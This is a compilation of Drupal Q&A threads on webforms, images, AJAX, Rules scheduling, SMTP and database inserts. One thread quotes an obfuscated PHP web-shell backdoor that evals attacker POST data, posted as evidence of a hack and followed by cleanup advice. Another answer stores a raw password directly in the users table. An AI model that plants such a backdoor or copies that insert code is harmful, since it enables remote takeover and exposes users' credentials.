    $block = module_invoke('webform','block_view' ,'client-block-852');
    print render($block['content']);
?>

```

so in `hook_preprocess_page` check for the current page (using url or anything else) if it is an author page, loads its appropriate webform.
> 0 votes

---
Tags: 7, emails
---


title: How do I insert the image into article?

text:
# Question
Title: How do I insert the image into article?
I am using field image to insert image into article. The image can't show in article body.

How do I insert the image into article?

# Answer
You can use combination of Wysiwyg and Insert modules.

**Insert module :**

> Insert is a utility that makes inserting images and links to files into text areas or WYSIWYGs much easier. It adds a simple JavaScript-based button to FileField and ImageField widgets. When used with ImageField and ImageCache, images may be inserted into text areas with a specific ImageCache preset.
>
> This module was previously known as FileField Insert.
>
> Features
>
> ```
> Support for all major WYSIWYG editors, including tinyMCE, CKeditor, the WYSIWYG project (the recommended approach), and plain
>
> ```
>
> text areas. Insert images using ImageCache presets Maximum width setting for inserted images (for combined use with the Image Resize Filter module) Per-field insert configuration

also for caption images you can use jcaption or image caption modules
> 0 votes

# Answer
If you have a wysiwyg option you can insert images into the body field. There is a wysiwyg module that provides good integration and management and lets you use one of several engines. If it is okay to have the image at the start or end of the body text, and not in the middle, then go to the Display Fields tab at the top of your screenshot and drag your image field into the appropriate order. Also you can set image display size and other options from that area.
> 0 votes

---
Tags: entities
---


# Question
Title: How to add javascript after form was validated with ajax callback?
I created a simple form. How could I add JavaScript commands after form was validated? Why is it so hard do this?

```
$form['submit'] = array(
  '#type' => 'submit',
  '#value' => 'submit',
  '#validate' => 'my_validate_callback',
  '#ajax' => array(
    'callback' => 'my_form_callback',
    'method' => 'replace',
    'wrapper' => 'form-wrap',
    'effect' => 'fade'
  )
);

```

# Answer
If you only want to add a JS file in validate or Ajax handler function you just need to add JS to form with drupal\_add\_js or attach it to form.

This is an example of how can you add JavaScript in Ajax callback function:

```
function my_form_callback(&$form,$form_state){
if(some validation ){
$form['#attached']['js'] = array(
  drupal_get_path('module', 'ajax_example') . '/ajax_example.js',
);
}
return $form;
}

```
> 0 votes

---
Tags: forms, ajax, javascript
---


# Question
Title: How to execute a specifc job after some time interval like 5 minutes?
I want to perform a job after 5 minute, I explain what I mean with an example:

"I connect to bank gateway, register my order there,they give me transactionId and told me I should verify transaction after 5 minute,

I wrote *register* (`register_my_order`) and *verification* (`verfiy_myorder`) code, but I want set interval 5 minute between them.
My **Pseudocode**:

```
transctionId= register_my_order(myorder)
delay(5minute)
verfiy_myorder(transctionId)

```

One of my solution was using `rule scheduler` (a sub-module of Rules),

**I try below solution but not worked**

* Create a rule component and get `transctionId` as parameter
* In action run my verfication fuction with provided parameter as transction Id

then in my code between `register_my_order(myorder)` and `verfiy_myorder(transctionId)` I create rule task schedule with below code

```
    //$result = rules_invoke_component('rules_run_after_5_minute', 'param1');
     $state = new RulesState();
    $state->addVariable('tref', 'test', array()); //tref is name of parameter and test is passed parameter to it
    // 3rd parameter is called $info it must be an array, but i don't know it's function
   $task = array(
    'date' => time(), // timestamp
    'config' => 'rules_run_after_5_minute', // it is my component machine name
    'state' => $state,
);

$result=rules_scheduler_schedule_task($task);

```

**any idea that how can I create task schedule programmatically and work correctly ( my code create it but not getting run )**

# Answer
Using the "Rules Scheduler" sub-module of the Rules module seems indeed a possible approach.

However, be aware that the actual trigger wil only happen the next time your Cron job runs, similar to what's mentioned in the question about "Is there anyway to get more control over when CRON runs?". Maybe that's what the missing part is that you're looking for?

So at least as a way to check if the logic of your code is running as you want, try to trigger running your cron job from the admin panels. If that's how such check is performed at least 1 time, then your question is like simplified similar to the question I referred to in my link above.

PS: I don't it says in your question (correct me if I missed it), but if the first time your "verify order" indicates that the verify didn't pass yet, make sure to reschedule the same rule to be executed 5 minutes later on also.
> 2 votes

---
Tags: rules
---


title: My site is hacked

text:
# Question
Title: My site is hacked
It looks like my Drupal site is hacked, I see lot of new files in my web-sever containing following code:

```
$sF="PCT4BA6ODSE_";$s21=strtolower($sF[4].$sF[5].$sF[9].$sF[10].$sF[6].$sF[3].$sF[11].$sF[8].$sF[10].$sF[1].$sF[7].$sF[8].$sF[10]);$s20=strtoupper($sF[11].$sF[0].$sF[7].$sF[9].$sF[2]);if (isset(${$s20}['n89024b'])) {eval($s21(${$s20}['n89024b']));}?>

```

This actually my test site it even protected with folder protection, but it's not taken down the site.

Now could you please help me what should I do? I've read some articles online they have suggested install some security plugins to protect the site, but since my site looks like compromised could you please help me to clean up the site and prevent in future?

# Answer
> 3 votes
Your website is hacked indeed. Most probably you are missing security releases. I have seen this happening with others & this is what I recommended, which can help you too..

Have hacked module installed & check for the diff by help of that. Prepare list of module & update them along with drupal core (which is 7.38 now).

For PCB4B issue, clear those file by searching them. This article can help doing that.

Part from these, I will recommend two more module to have on your drupal instance & which can help you with cleaning it. They are - Site Audit & Security Review.

Further, keep notification on for security releases & always keep updating core or any contributed module for security release.

---
Tags: security, csrf
---


# Question
Title: SMTP module - "Unable to send e-mail..." and "A test e-mail has been sent..."
I am using the SMTP module (7.x-1.0) on Drupal 7. The site is hosted on a cloud server on which I've installed LAMP. My SMTP config settings are:

* SMTP server: smtp.gmail.com
* SMTP port: 465
* Use encrypted protocol: SSL
* Username: example@gmail.com
* Password: \[password\]
* E-mail from address: example@gmail.com

When I try to send a test email, I get two messages and an error in the "Reports \> Recent log messages":

1. A test e-mail has been sent to example@gmail.com. You may want to check the logs for any error messages.
2. Unable to send e-mail. Contact the site administrator if the problem persists.
3. Error sending e-mail (from example@gmail.com to example@gmail.com).

The email is NOT sent. However, the email appears in "Reports \> Maillog" (Maillog module).

There is an error in /var/log/apache2/error.log:

> sh: 1: /usr/sbin/sendmail: not found

Update/Edit:

* I was under the impression that the SMTP module avoids the need for Sendmail.I thought, the whole point was that it uses an external SMTP server. I found the following issue by the way: drupal.org/node/1078106.

# Answer
> 1 votes
It looks like the `sendmail` service is not installed.

Try the command `sudo apt-get install sendmail` via ssh to install it.

# Answer
> 0 votes
Sending email through Gmail's FTP from a webserver can sometimes be blocked by Google.

Login to the account in a web browser, then visit this link: https://accounts.google.com/displayunlockcaptcha

After you've done the unlock captcha, try your smtp test again.

# Answer
> 0 votes
enabling 'Allow less secure apps' on https://myaccount.google.com/security#activity page fixed the problem for me.

I found this solution from here.

---
Tags: emails, users
---


# Question
Title: Get a message if insert into table works
The code I wrote that uses `db_insert()` and `db_merge()` works great. I can populate the database table well (also using a post http). Now I want to get a success/fail message.

How do I show a message after executing a query?

# Answer
You can use drupal\_set\_message() to display a message in the browser, this can be marked as a status', 'warning' or 'error' message.

If you want to debug your code, the Devel module is recommended and provides the dpm() function. Besides being able to print a simple message, `dpm()` also allows to display an array or object quite easy.
> 3 votes

# Answer
You show messages using `drupal_set_message()`:

> Sets a message to display to the user.
>
> Messages are stored in a session variable and displayed in page.tpl.php via the $messages theme variable.
> 3 votes

# Answer
If you want to know the status of the insert, perhaps a more suitable function for your use case is `drupal_write_record`

> **Return value**
>
> If the record insert or update failed, returns FALSE. If it succeeded, returns SAVED\_NEW or SAVED\_UPDATED, depending on the operation performed.

To update a record, you need to have the `'primary key field name' => 'value'` in the `$record` (2nd) parameter passed to the function. As well as that, you need to pass the `$primary_keys` (3rd) parameter which is a simple array of your primary key field names without the values. If it's just a single primary key (`id` for example), then you can pass it as a string as well.

If you omit the 3rd parameter `$primary_keys` then it's going to perform a `db_insert` otherwise it does a `db_update`.

In fact, as you follow the function along, it shows you exactly how to evaluate whether the `db_insert` or `db_update` were a success or not. So I won't be covering it here.
> 2 votes

# Answer
by the way I've solved my problem by try catch as @clive adviced me on comment,

The`drupal_write_record` works as well so thank you Beebee

If it can helps, here is the part of code with the try catch :

```
try{
$uid_courant = db_query("SELECT (MAX(uid))+1 as max_id FROM {users}")->fetchCol();
$create_user = db_merge('users')
    ->key(array('name'=> $data["username_client"],'uid'=>'uid'))
    ->fields(array(
        'uid'=> $uid_courant,
        'name'=>$data["username_client"],
        'pass'=>$data['password_cl'],
        'mail'=>$data["mail_cl"],
        'created'=>time()
        ))
->execute();
}
catch(Exception $e){
$user_existe = array('code'=>'1','error'=>'1');
}

```

Here the code insert a new user only if there's no user with same username on table "users", if not it returns an error. and in the same time i'm inserting the same user on anotre custom table i've created this table is called "client" and do same verifications.

Thank you all.
> 0 votes

---
Tags: database
---